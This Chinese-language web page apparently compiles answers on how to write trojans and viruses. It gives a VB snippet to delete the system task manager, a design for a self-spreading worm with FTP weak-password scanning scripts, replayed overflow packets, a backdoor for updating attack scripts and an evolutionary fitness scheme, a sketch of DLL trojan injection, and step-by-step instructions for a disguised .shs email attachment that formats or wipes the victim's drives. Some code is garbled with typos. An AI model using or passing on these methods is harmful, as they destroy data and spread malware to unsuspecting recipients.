
至于如何编写木马,当然需要写程序。编程语言的种类不少,编写木马最常用的语言有C++、VB和汇编。我举个简单的例子,在VB里编写一个病毒:
Private
Sub
form_Load()
mehide()
kill
environ("windir")
+
"\system32\"
+
"taskrgmexe"
unlaod
me
end
sub
试试在VB内运行这段代码,这样就可以把系统的任务管理器删除了!病毒危害人,阻碍计算机网络秩序……
一个典型的蠕虫病毒有两个功能型部件:传播和破坏,流行的蠕虫病毒大都是利用 *** 作系统或者应用程序的漏洞(以弱口令和溢出最为常见),但常常并不会对宿主机造成“致命”的破坏。这两个特点使蠕虫病毒比普通电脑病毒传播得更快,影响力更大。一般来说,单一的蠕虫病毒只针对某种特定的漏洞进行攻击,所以一旦这种漏洞得到大范围修补,病毒也就没有了生存空间。
更新这种设计,我把传播部件拆分开来:把扫描、攻击和破坏脚本化,主程序则负责解析这些脚本。例如针对ftp弱口令进行扫描,我们可以定义如下脚本:
code:
uid = iscript-0a21-2331-x #随机唯一编号
using tcp;
port 21;
send “user anonymous”;
send crlf;
send “pass fake@nothingcom”
send crlf;
if (find “200”) resulrt ok;
next;
[copy to clipboard]
解析了这段脚本后(我想这种脚本是很容易读懂的),我们再定义一系列的过程,把我们的蠕虫体upload上去,一次完整的传播动作就完成了。如果是溢出漏洞,为了简单起见我们可以采集远程溢出的数据包,然后修改ip地址等必要数据,再转发溢出数据包进行溢出(这种情况下要实现connect-back就不容易了,不过这些具体问题就待有心人去研究吧),例如:
code:
using raw;
ip offset at 12;
send “\x1a\xb2\xcc” ……
[copy to clipboard]d
主程序在完成传播后留下一个后门,其他宿主机可以通过这个后门与本地的蠕虫病毒同步传播脚本,这样每次有新的漏洞产生,宿主机的传播方式可以很快地得到升级。我们当然不会仅满足于这样一个蠕虫程序,扫描/攻击脚本的传播过程也是需要仔细处理的。
我们希望适应力(fitness)最强的脚本得到广泛的应用(看起来有点类似 蚁群算法 和 ga),所以我们要求得每个个体的fitness,当它和另一个体取得联系的时候就可以决定谁的传播脚本将取代另一个:
fitness = number of host infected / number of host scanned
但也不能仅凭fitness就修改传播脚本,我个人觉得一个合适的概率是75%,20%的机会保持各自的传播脚本,剩下的5%则交换脚本。这样在维持每种脚本都有一定生存空间的情况下使适应性最好的个体得到更多的传播机会,同时,一些在某种网络环境下适应性不强的脚本也有机会尝试不同的网络环境。
用C++编写的木马程序
DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。
DLL木马的原理
DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。
正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:
你想干什么?如果你只想玩玩,建议你学一下vbs脚本或bat脚本,如果你想把脚本做成exe程序,最简单的方法就是把脚本压缩到自解压文件里,再用16进制编辑器修改一下某个数值,就成功了。
如果你想干坏事,嘻嘻,木马也不是那么好写的,首先你要成为一个出色的程序员,不仅要打好C语言基础,更要精通汇编语言和计算机硬件以及 *** 作系统原理,逻辑思维要强,当然要学的还很多,如mfc,C#等等,所以,如果你不是非常痴迷于编程,我劝你玩玩就行了,当然,更不要走上违法犯罪的道路吆!
good luck。
呀,还有,请采纳我吧,宝贝儿,嘻!
木马完全可以自制,你可以根据自己所需的作用来制作各种各样的木马
学木马先要会编程,你先把这个搞懂吧!
1创建一个只包含一个空格(为了减小文件体积)的文本文件,任意取名。
2打开{写字板文档},将此文件拖放入{写字板文档}。也可以点击记{写字板
文档}单栏中的“插入\对象”,d出“插入对象”对话框,选中“从文件创建”,然后
点击“浏览”按钮选择要插入的文件。
3选中该插入对象的图标,选择菜单栏中的“编辑\包对象\编辑包”(如图1)。在d
出的“对象包装程序”对话框中,选择菜单栏中的“编辑\命令行”,然后输入如下命令
:startexe
/m
format
c:/q
/autotest
/u
,点击“确定”,此时,内容栏中会显示
出命令内容。
4点击外观栏中的“插入图标”按钮,会d出一个警告对话框,确认,然后任选一
个图标。
5选择菜单栏中的“编辑\卷标”,为此嵌入对象取一个名称(会替换原来的文件名
称)。点击“文件”菜单中的“更新”,然后关闭此对话框。
6将刚刚建立的嵌入对象拖放到桌面上。文件的默认名是“碎片”(在2000下的默
认名为”片段”),现在我们把它改成“password01txt”。打开电子邮件程序将桌面
上的“password01txt”作为附件发出,或者将含有嵌入对象(带有恶意命令)的文档作
为附件发出。
7当邮件接收者误将“password01txtshs”文件作为“password01txt”(如前文
所述,“SHS”扩展名永远是隐藏的)放心地打开时,或打开文件,点击文件中的嵌入对
象时触发恶意命令(d出DOS运行窗口,执行格式化命令)如果将上面的命令替换为:st
artexe
/m
deltree
/y
a:\
c:\
d:\
则是将删除对方硬盘下所有文件(盘符
根据实际情况自定义);如果替换为:startexe
/m
deltree
/y
c:\windows\system\
则是删除对方c:\windows\system\目录底下的所有文件(当
然大家可以改成其它的命令)
很简单,这样一个恶意的攻击程序被弄出来了!
以上就是关于怎样编写木马,木马有什么用全部的内容,包括:怎样编写木马,木马有什么用、木马程序是怎么编出来的、如何来建一个木马程序等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)